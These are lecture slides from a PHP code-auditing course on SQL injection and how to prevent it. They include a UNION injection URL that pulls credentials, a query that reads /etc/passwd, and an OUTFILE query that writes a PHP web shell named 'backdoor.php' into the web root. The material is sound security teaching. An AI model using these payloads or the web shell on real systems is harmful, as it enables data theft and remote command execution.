PHP Code Auditing

1. Session 2 – Vulnerabilities, Exploits, and Some SQL Justin C. Klein Keane jukeane@sas.upenn.edu PHP Code Auditing ©2009 Justin C. Klein Keane

2. ©2009 Justin C. Klein Keane Definitions • What is a vulnerability? • What is an exploit? • What is a threat? • What is a vector?

3. ©2009 Justin C. Klein Keane Vulnerability Assessment • Assessments can vary in depth • Surface assessments • Full code audits • What are you looking for? • A vulnerability is not necessarily a design flaw.

4. ©2009 Justin C. Klein Keane Understanding Threats • Threat modeling is an important process • Not necessarily germane to vulnerability assessment • Threat modeling deals with the “what” and the “why” of security, vulnerability assessment deals with the “how”

5. ©2009 Justin C. Klein Keane Exploits • In the “gray hat” context, exploits are synonymous with proof of concept • Why develop proof of concept? • Helps to gage vulnerability severity • Test ease of exploitability • Helps model impact to develop remediation and reaction strategies

6. ©2009 Justin C. Klein Keane Essential Tools • IDE (Eclipse) for viewing source code • Paros proxy for capturing interactions • http://www.parosproxy.org • Firefox Tamper Data plugin for on the fly data manipulation • https://addons.mozilla.org/en-US/firefox/addon/966 • Firefox Web Developer plugin for presentation manipulation • https://addons.mozilla.org/en-US/firefox/addon/60

7. ©2009 Justin C. Klein Keane PHP & MySQL • PHP interacts with MySQL by setting up a connection resource then passing queries through <?php $conn = mysql_connect($server,$username,$password); mysql_select_db($database); $query_resource = mysql_query($sql_statement); while ($row = mysql_fetch_row($query_resource)) { echo $row[0]; echo $row[1]; } msyql_close(); ?>

8. ©2009 Justin C. Klein Keane Connection Information • Often times connection details are stored in include files • Connection credentials (username, password, database) must be stored in an Apache readable format • This generally means they're in plain text on the file server

9. ©2009 Justin C. Klein Keane Spot the Denial of Service? • <?php • $link = mysql_connect('localhost', 'mysql_user', 'mysql_password'); • if (!$link) { • die('Could not connect: ' . mysql_error()); • } • echo 'Connected successfully'; • [rest of the page] • mysql_close($link); • ?>

10. ©2009 Justin C. Klein Keane SQL Injection • Vulnerability whereby an attacker can manipulate a SQL query string

11. ©2009 Justin C. Klein Keane Typical SQL Injection Vulnerability • <?php • $id = $_GET['id']; • $sql = 'select * from table where id=' . $id; • ?> • This is supposed to result in a SQL statement like: select * from table where id=5

12. ©2009 Justin C. Klein Keane Manipulating the query • What happens if an attacker calls the URL http://site.tld/index.php?id=5 union select username,password from user • The resulting query becomes: select * from table where id=5 union select * from user

13. ©2009 Justin C. Klein Keane User Supplied Input • ANY user supplied input can be used to trigger a SQL injection • GET, POST, HTTP_REFERER, COOKIE, RSS input, etc. • Just because it's not easy for a user to manipulate the supplied input does not mean it is safe!

14. ©2009 Justin C. Klein Keane PHP Register Globals • Setting controlled in /etc/php.ini • http://us3.php.net/manual/en/ini.core.php#ini.register-globals • Should become extinct very soon • Allows all variables to be referred to without context • Makes $_GET['id'] the same as $id • Default behavior in PHP 3, many legacy applications require it • Should be set to off!

15. ©2009 Justin C. Klein Keane Dangers of Register Globals • Variable collision • Can allow malicious users to arbitrarily set or reset critical variables • $_SERVER['DOCUMENT_ROOT'] • Encourages haphazard coding • Leads to confusion when reading/reviewing code

16. ©2009 Justin C. Klein Keane Back to SQL Injection • SQL queries operate with the privileges of the user account specified in the mysql_connect() function.

17. ©2009 Justin C. Klein Keane Some SQL Injection Strategies • JOIN or UNION with other data • Expose sensitive data • Inject malicious data • Alter database content • Read or write operating system files • Manipulate or expose MySQL system files

18. ©2009 Justin C. Klein Keane PHP and MySQL Quirks • In PHP and MySQL you cannot “stack” queries • This means attackers only get one SQL statement to work with • This makes exploiting PHP/MySQL SQL injection a lot trickier than with other systems • Unfortunately automated tools make this a much lower bar than it used to be

19. ©2009 Justin C. Klein Keane Sample DB Target • Example tables: mysql> desc content; +-------+---------+------+-----+---------+----------------+| Field | Type | Null | Key | Default | Extra |+-------+---------+------+-----+---------+----------------+| id | int(11) | NO | PRI | NULL | auto_increment | | data | text | YES | | NULL | | +-------+---------+------+-----+---------+----------------+2 rows in set (0.02 sec)mysql> desc users;+----------+-------------+------+-----+---------+----------------+| Field | Type | Null | Key | Default | Extra |+----------+-------------+------+-----+---------+----------------+| id | int(11) | NO | PRI | NULL | auto_increment | | username | varchar(30) | YES | | NULL | | | password | varchar(30) | YES | | NULL | | +----------+-------------+------+-----+---------+----------------+3 rows in set (0.00 sec)

20. ©2009 Justin C. Klein Keane JOIN Data • Joins must have a mapping value mysql> select * from content STRAIGHT_JOIN users on content.id=users.id; +----+------+----+----------+-----------+ | id | data | id | username | password | +----+------+----+----------+-----------+ | 1 | foo | 1 | joe | p455w0rd! | +----+------+----+----------+-----------+ 1 row in set (0.03 sec) • LEFT JOIN, RIGHT JOIN, INNER JOIN, LEFT OUTER JOIN, STRAIGHT_JOIN

21. ©2009 Justin C. Klein Keane UNION data • Union must have the same number of columns mysql> select * from content where id=1 union select username,password from users where id=1; +------+-----------+ | id | data | +------+-----------+ | 1 | foo | | joe | p455w0rd! | +------+-----------+ 2 rows in set (0.03 sec)

22. ©2009 Justin C. Klein Keane PHP/MySQL Injection • Injection attacks are largely dependent on the static portions of the query being manipulated: select * from user where user_id = $id update user set username='$name', password=md5($password) where id = $id

23. ©2009 Justin C. Klein Keane Compound Queries • Although you can't “stack” queries in PHP/MySQL, you can issue compound queries • Some queries restrict what you can do • You can't alter the SQL prior to the injection point • You can comment out SQL after the injection point

24. ©2009 Justin C. Klein Keane INFILE and OUTFILE • Special that are usually only associated with privileged accounts • Can read/write to the OS with the privileges of the MySQL server

25. ©2009 Justin C. Klein Keane INFILE Example • mysql> LOAD DATA INFILE '/etc/passwd' INTO TABLE content (data); • Query OK, 35 rows affected (0.00 sec) • Records: 35 Deleted: 0 Skipped: 0 Warnings: 0 • mysql> select * from content; • +----+------------------------------------------------------------------------------+ • | id | data | • +----+------------------------------------------------------------------------------+ • | 1 | foo | • | 45 | mail:x:8:12:mail:/var/spool/mail:/bin/sh | • | 44 | halt:x:7:0:halt:/sbin:/sbin/halt | • | 43 | shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown | • [...] • | 71 | named:x:80:423:system user for bind:/var/lib/named:/bin/false | • +----+------------------------------------------------------------------------------+ • 36 rows in set (0.00 sec)

26. ©2009 Justin C. Klein Keane OUTFILE • Can be useful when query doesn't return data directly • Can be used to write data to a web accessible location • Can be used to write files that can later be read with INFILE injections • Cannot be used to alter an existing file

27. ©2009 Justin C. Klein Keane OUTFILE Nastiness • [jukeane@topsail ~]$ ls -latdr /var/www/html • drwxrwsrwx 36 apache jukeane 4096 2009-06-04 08:30 /var/www/html/ • [jukeane@topsail ~]$ mysql -u root -p p • Enter password: • Welcome to the MySQL monitor. Commands end with ; or \g. • mysql> select * from content into outfile '/var/www/html/passwd.txt'; • Query OK, 36 rows affected (0.00 sec) • mysql> select '<?php echo system($_GET[\'cmd\']);?>' from dual into outfile '/var/www/html/backdoor.php'; • Query OK, 1 row affected (0.00 sec) • mysql> exit • Bye

28. ©2009 Justin C. Klein Keane OUTFILE Nastiness Cont. • [jukeane@topsail ~]$ cat /var/www/html/backdoor.php • <?php echo system($_GET['cmd']);?> • [jukeane@topsail ~]$ cat /var/www/html/passwd.txt • 1 foo • 45 mail:x:8:12:mail:/var/spool/mail:/bin/sh • 44 halt:x:7:0:halt:/sbin:/sbin/halt

29. ©2009 Justin C. Klein Keane Information Schema • Information Schema is a view to database metadata • Can be used to enumerate database data such as table names, column names and column types • Only information for which the user has privileges can be accessed

30. ©2009 Justin C. Klein Keane Information Schema Example • mysql> select table_schema, table_name from information_schema.tables; • +--------------------+---------------------------------------+ • | table_schema | table_name | • +--------------------+---------------------------------------+ • | test_data | blog | • | test_data | user | • | test_data | test | • | test_data | content | • +--------------------+---------------------------------------+

31. ©2009 Justin C. Klein Keane Blind SQL Injection • Term of art used to describe SQL injection vulnerabilities that when exploited do not provide directly visible results to the attacker • May simply result in an error • Could result in an update that may not be apparent • Could result in a timing condition • etc.

32. ©2009 Justin C. Klein Keane Preventing SQL Injection • PHP/MySQL has many strategies for preventing SQL injection attacks • ALWAYS validate user supplied data • We'll see this theme recurring a lot • Create accounts with least privilege necessary to carry out application functionality • Limit application to one database, and limit database data to one application!

33. ©2009 Justin C. Klein Keane PHP Built In Functionality • PHP mysql_real_escape_string() • http://us2.php.net/mysql_real_escape_string • Sanitizes variables for use in a query $username = mysql_real_escape_string($_POST['username']); $query = mysql_query(“update user set username = '$username'”); • Enforce variable type: $query = mysql_query('select * from content where id=' . intval($_GET['id']); • addslashes() is not and effective way to protect against SQL injection

34. ©2009 Justin C. Klein Keane Libraries • PEAR MDB2 • http://pear.php.net/package/MDB2 • ADOdb • http://adodb.sourceforge.net/ • Project specific libraries • If not used properly libraries can become vulnerable to SQL injection

35. ©2009 Justin C. Klein Keane Prepared Statements (Bind Variables) • MySQLi (MySQL improved) connection • http://us.php.net/mysqli $conn = new mysqli("localhost", "user", "pass", "database"); $statement = $db_connection->prepare("SELECT * FROM content WHERE id = ?"); $statement->bind_param("i", $id); $statement->execute();

36. ©2009 Justin C. Klein Keane Stored Procedures • mysql> DELIMITER // • mysql> create procedure ret_content ( • -> IN inid INT, OUT outdata varchar(255) • -> ) • -> BEGIN • -> select data into outdata from content where id = inid; • -> END;// • Query OK, 0 rows affected (0.00 sec)

37. ©2009 Justin C. Klein Keane Stored Procedures from PHP • <?php $Conn = mysql_connect('localhost', 'user', 'pass'); mysql_select_db('db'); mysql_query("call ret_content(1,@retval)") ; $retval = mysql_query("select @retval"); while ($row = mysql_fetch_row($retval)) echo $row[0]; mysql_close(); • ?> • This is by far one of the safest approaches!

38. ©2009 Justin C. Klein Keane For Next Time • Install Paros Proxy • Install Firefox and the Tamper Data and Web Developer plug ins • Download and install the sample SQL injection application on your VM • Identify at least 4 SQL injection vulnerabilities • Develop exploits for each vulnerability • Develop fixes for each vulnerability